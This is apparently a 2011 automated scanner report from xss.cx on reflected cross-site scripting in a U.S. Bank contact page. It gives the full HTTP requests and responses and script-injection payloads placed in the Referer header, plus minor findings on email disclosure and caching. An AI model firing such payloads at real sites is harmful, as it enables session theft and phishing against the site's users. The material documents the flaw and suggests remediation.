XSS, www2.usbank.com, Cross Site Scripting, CWE-79, CAPEC-86

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Report generated by xss.cx at Wed Mar 16 07:42:27 CDT 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Home | XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler |

Loading

XSS.CX Research investigates and reports on security vulnerabilities embedded in Web Applications and Products used in wide-scale deployment.

Loading

1. Cross-site scripting (reflected)

1.1. https://www2.usbank.com/cgi_w2/cfm/emailUs.cfm [Referer HTTP header]

1.2. https://www2.usbank.com/cgi_w2/cfm/emailUs.cfm [Referer HTTP header]

2. Email addresses disclosed

3. Cacheable HTTPS response



1. Cross-site scripting (reflected)  next
There are 2 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. https://www2.usbank.com/cgi_w2/cfm/emailUs.cfm [Referer HTTP header]  next

Summary

Severity:   Low
Confidence:   Certain
Host:   https://www2.usbank.com
Path:   /cgi_w2/cfm/emailUs.cfm

Issue detail

The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f5f01"><script>alert(1)</script>ce30d91730e was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /cgi_w2/cfm/emailUs.cfm HTTP/1.1
Host: www2.usbank.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://www.google.com/search?hl=en&q=f5f01"><script>alert(1)</script>ce30d91730e

Response

HTTP/1.1 200 OK
Connection: close
Date: Wed, 16 Mar 2011 12:27:29 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Type: text/html; charset=ISO-8859-1


                                                                                                                                                                                                                                                               
...[SNIP]...
<input type="hidden" name="ReferredBy" value="http://www.google.com/search?hl=en&q=f5f01"><script>alert(1)</script>ce30d91730e" />
...[SNIP]...

1.2. https://www2.usbank.com/cgi_w2/cfm/emailUs.cfm [Referer HTTP header]  previous

Summary

Severity:   Low
Confidence:   Firm
Host:   https://www2.usbank.com
Path:   /cgi_w2/cfm/emailUs.cfm

Issue detail

The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e59e4"><a>6dabb49197 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /cgi_w2/cfm/emailUs.cfm HTTP/1.1
Host: www2.usbank.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://www.google.com/search?hl=en&q=e59e4"><a>6dabb49197

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=ISO-8859-1
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 16 Mar 2011 12:06:29 GMT
Connection: close
Content-Length: 22069


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>


<title>Have a General Question or Comment?</title>

<link rel="stylesheet" href="/en/legacy/style/global/gl
...[SNIP]...
<input type="hidden" name="ReferredBy" value="http://www.google.com/search?hl=en&q=e59e4"><a>6dabb49197" />
...[SNIP]...

2. Email addresses disclosed  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://www2.usbank.com
Path:   /cgi_w2/cfm/emailUs.cfm

Issue detail

The following email address was disclosed in the response:

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

Request

GET /cgi_w2/cfm/emailUs.cfm HTTP/1.1
Host: www2.usbank.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=ISO-8859-1
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 16 Mar 2011 12:06:06 GMT
Connection: close
Content-Length: 22012


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>


<title>Have a General Question or Comment?</title>

<link rel="stylesheet" href="/en/legacy/style/global/gl
...[SNIP]...
mEmail.value != "" && !fromEmail.value.match(/^[a-zA-Z0-9]+[a-zA-Z0-9_\.-]*[a-zA-Z0-9]+@[a-zA-Z0-9]+[a-zA-Z0-9_\.-]*[a-zA-Z0-9]+(\.[a-zA-Z]{2,4}$)/) ) {
           alert("Email Address is not a valid format (name@domain.com).");
   fromEmail.style.background = '#FFFFCC';
           fromEmail.focus();
           return;
       }
       
       // Comment can't be blank
       if (customerComments.value == "") {
           alert("Please enter your comm
...[SNIP]...

3. Cacheable HTTPS response  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   https://www2.usbank.com
Path:   /cgi_w2/cfm/emailUs.cfm

Issue description

Unless directed otherwise, browsers may store a local cached copy of content received from web servers. Some browsers, including Internet Explorer, cache content accessed via HTTPS. If sensitive information in application responses is stored in the local cache, then this may be retrieved by other users who have access to the same computer at a future time.

Issue remediation

The application should return caching directives instructing browsers not to store local copies of any sensitive data. Often, this can be achieved by configuring the web server to prevent caching for relevant paths within the web root. Alternatively, most web development platforms allow you to control the server's caching directives from within individual scripts. Ideally, the web server should return the following HTTP headers in all responses containing sensitive content:

Request

GET /cgi_w2/cfm/emailUs.cfm HTTP/1.1
Host: www2.usbank.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=ISO-8859-1
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 16 Mar 2011 12:06:06 GMT
Connection: close
Content-Length: 22012


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>


<title>Have a General Question or Comment?</title>

<link rel="stylesheet" href="/en/legacy/style/global/gl
...[SNIP]...

Report generated by xss.cx at Wed Mar 16 07:42:27 CDT 2011.